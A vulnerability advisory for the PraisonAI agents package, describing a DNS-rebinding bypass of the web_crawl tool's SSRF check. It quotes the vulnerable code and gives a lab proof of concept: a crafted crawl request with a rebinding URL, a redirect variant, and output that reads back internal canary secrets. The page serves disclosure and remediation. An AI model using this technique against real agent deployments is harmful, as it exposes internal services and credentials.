praisonaiagents
Affected
- introduced
0, fixed1.6.78(ecosystem)
Fixed versions
1.6.78
Fix
- Fixed version
1.6.78pip install --upgrade praisonaiagents==1.6.78
Advisory
Also known as: CVE-2026-61430, GHSA-qg25-6gc4-48mg
PraisonAI: DNS rebinding bypass in web_crawl SSRF protection allows internal response disclosure
Summary
PraisonAI's web_crawl agent tool performs a server-side HTTP fetch of an agent/attacker-influenced URL. SSRF is meant to be prevented by _is_safe_crawl_url(), which resolves the hostname and rejects private/loopback/link-local IPs at validation time. The validated value is the URL *string* (not a pinned IP); the fetch backend then re-resolves the hostname at connection time. Because validation and connection perform two independent DNS resolutions, a DNS-rebinding domain that returns a public IP during validation and an internal IP during the fetch fully bypasses the guard, and the internal HTTP response body is returned to the caller.
This is SSRF with internal response disclosure (read-back) — not blind SSRF. Runtime-confirmed against PraisonAI 4.6.63; the crawl response returned the controlled internal markers PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91 / FAKE_INTERNAL_TOKEN_DO_NOT_USE_7f3a91. Severity High. Reachable by any actor who can influence the URL an agent crawls (e.g. a chat/bot/agent surface).
Details
Affected component
praisonaiagents (PraisonAI), version 4.6.63.src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py; tool web_crawl / crawl_web (part of the default bot tool set).Vulnerable code / root cause
Code point 1 — check-time-only DNS validation, no IP pinning
Path:src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py
Function:_is_safe_crawl_url
Snippet:
for info in socket.getaddrinfo(hostname, None): # resolve at CHECK time
ip = ipaddress.ip_address(info[4][0])
if (ip.is_loopback or ip.is_private or ip.is_link_local
or ip.is_multicast or ip.is_unspecified):
return False
return True
Issue: the guard validates the hostname by resolving it once at check time. It does not pin the resolved IP and does not return/forward that IP to the HTTP client. Any later resolution can differ.
**Code point 2 — guard runs, then the URL *string* is handed to the backend**
Function:web_crawl
Snippet:
for u in raw_url_list:
if _is_safe_crawl_url(u): # validate the URL string
url_list.append(u)
...
results = _crawl_with_httpx(url_list) # or _crawl_with_crawl4ai(url_list)
Issue: attacker-controlled input (urls) is validated as a string; the backend then fetches that string and re-resolves DNS independently of the guard. There is no shared, pinned IP between check and fetch.
Code point 3 — `_crawl_with_httpx` backend re-resolves (redirect re-validation does not stop rebinding)
Function:_crawl_with_httpx
Snippet:
with httpx.Client(follow_redirects=False, timeout=30.0) as client:
for _ in range(max_redirects + 1):
if not _is_safe_crawl_url(current): # re-resolves hostname (CHECK)
raise ValueError("Redirect target failed SSRF validation")
response = client.get(current) # resolves AGAIN at CONNECT
Issue: even with per-hop redirect re-validation, _is_safe_crawl_url(current) and client.get(current) are two separate DNS resolutions of the same hostname. A rebinding domain answers public to the check and internal to the connect → TOCTOU bypass. No IP pinning.
Code point 4 — urllib fallback (same function), no per-hop guard
Snippet:
import urllib.request
with urllib.request.urlopen(url, timeout=30) as response: # re-resolves + auto-follows redirects
content = response.read().decode('utf-8', errors='ignore')
Issue: when httpx is not installed, this fallback inside _crawl_with_httpx fetches the URL and auto-follows redirects with no per-hop/per-connect validation. (Results from this function are labelled "provider": "httpx" regardless of which path runs.)
Code point 5 — crawl4ai/Chromium backend (confirmed addendum)
The crawl4ai backend (_crawl_with_crawl4ai → crawler.arun(url=url), headless Chromium) is also runtime-confirmed affected (browser re-resolves DNS / follows redirects with no per-connect guard). To keep this report focused on the web_crawl SSRF guard, the backend-specific evidence is in SSRF-04_Crawl4AI_SSRF_Backend_Addendum.md.
Attack flow
rebind.lab) whose authoritative DNS rebinds._is_safe_crawl_url() returns true.Why existing protection is bypassed
Security boundary
The server-side fetch reaches internal/loopback/metadata services not exposed to the attacker and returns their content (CVSS Scope: Changed). Reachable wherever an agent can be induced to crawl an attacker-supplied URL (PR:L). An unauthenticated single-request path to web_crawl read-back was not found in 4.6.63 (so PR:N / Critical is not claimed).
Proof of Concept
Environment
Real PraisonAI 4.6.63 in a local Docker runtime; a controlled internal canary service (Docker-internal only, not published) returns synthetic markers; a controlled DNS responder implements rebinding for rebind.lab. No public host / real metadata / real secret. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\.
Steps to reproduce
PRAI-05-01-DNS-Rebind-Trigger → 127.0.0.1:18080:POST /tool/web_crawl HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"url":"http://rebind.lab:8081/secret"}
PRAI-05-02-DNS-Rebind-Secret-Readback captures the response). If a send returns the "blocked" error, the rebinding DNS auto-resets (~3s) — resend.PRAI-05-03-Redirect-Trigger / PRAI-05-04-Redirect-Secret-Readback send {"url":"http://redirector:8082/redirect-to-internal"}.Expected result
A safe SSRF guard refuses destinations that resolve to internal/private IPs regardless of DNS timing or redirects, and does not return internal content.
Actual result
HTTP 200 with the internal body in the crawl result. Primary evidence is the provider: "httpx" backend returning the internal canary via DNS rebinding:
{"input_url":"http://rebind.lab:8081/secret",
"result":{"content":"{ ... \"secret\": \"PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91\", \"token\": \"FAKE_INTERNAL_TOKEN_DO_NOT_USE_7f3a91\" ... }","provider":"httpx"}}
The redirect variant returns the same internal markers via a redirect chain (provider: "httpx").
Screenshots
High Basis: CVSS v3 score 8.5, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
0, fixed 1.6.78 (ecosystem)1.6.78
1.6.78pip install --upgrade praisonaiagents==1.6.78Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0